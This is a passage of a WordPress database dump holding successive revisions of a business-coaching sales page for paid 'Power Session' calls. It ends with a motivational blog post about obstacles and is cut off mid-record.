reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:54:08', '2011-01-27 00:54:08', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-42/', 0, 'revision', '', 0),
(1515, 2, '2011-01-26 17:55:17', '2011-01-27 00:55:17', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1></h1>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:55:17', '2011-01-27 00:55:17', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-43/', 0, 'revision', '', 0),
(1516, 2, '2011-01-26 17:57:36', '2011-01-27 00:57:36', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1></h1>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:57:36', '2011-01-27 00:57:36', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-44/', 0, 'revision', '', 0),
(1517, 2, '2011-01-26 18:04:23', '2011-01-27 01:04:23', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you get free and moving in the direction of your desire right from the git go!</h2>\r\n<h1></h1>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:04:23', '2011-01-27 01:04:23', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-45/', 0, 'revision', '', 0),
(1518, 2, '2011-01-26 18:07:31', '2011-01-27 01:07:31', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:07:31', '2011-01-27 01:07:31', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-46/', 0, 'revision', '', 0),
(1519, 2, '2011-01-26 18:09:13', '2011-01-27 01:09:13', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:09:13', '2011-01-27 01:09:13', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-47/', 0, 'revision', '', 0);
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(1520, 2, '2011-01-26 18:11:35', '2011-01-27 01:11:35', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:11:35', '2011-01-27 01:11:35', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-48/', 0, 'revision', '', 0),
(1521, 2, '2011-01-26 18:23:29', '2011-01-27 01:23:29', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check,  solid insight, and world-class business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web site happening, and find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:23:29', '2011-01-27 01:23:29', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-49/', 0, 'revision', '', 0),
(1522, 2, '2009-04-03 18:40:13', '2009-04-04 01:40:13', 'We all hit them from time to time in our pursuit to achieve what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you are looking at the raw material for your success. You have two choices:  stop and give up, or bust through.\r\n\r\nMost people stop and give up. Why? I think it is because they did not want it bad enough. Brick walls are necessary obstacles for growth and expansion. When we come to an obstacle in our pursuits, it''s time to check in with ourselves and ask how badly do we desire what is on the other side of the obstacle. There is a saying "the only way out is through."  Breaking through is to grow and expand.  Growth and expansion is a natural state of everything in the universe.  We must grow and expand or we begin the process of dying.  It is just the way it is.\r\n\r\nWe often think of brick walls as external forces that we confront. But I think the biggest obstacles are within us. We can get in our own way. We impose obstacles to our growth and expansion simply through our beliefs about ourselves, our current attitudes, our level of awareness.  The truth is nothing on the outside of us can have any real effect  on our progress toward the good we desire. We create our own perception of reality by what we believe. If you believe there is not enough, or you do not now have in your possession  what is required or necessary, then you will experience that outcome in your life.  The brick walls we encounter are more or less of our own making.  The perceived obstacle in front of us is there to test our conviction, passion and belief that what we want is really worthy of us. Worthy of trading our "life time" in exchange for the attainment and experience of our heart''s desires.\r\n\r\nI know this can be a difficult idea to understand. But think about any important thing that has been achieved in your life thus far. Certainly there were  brick walls to bust through or go around in the process of your getting what you want. Obstacles are always in advance of  achievement. As your goals and desires grow ever larger, so will the challenges. Within the challenge, one finds the raw material of success. The greater the challenge, the greater the success. If you have brick walls in your life right now, consider them to be blessings. For that is exactly what they are.', 'Why hitting a brick wall is a good thing', 0, 'We all hit them from time to time in our pursuit to acheive what we 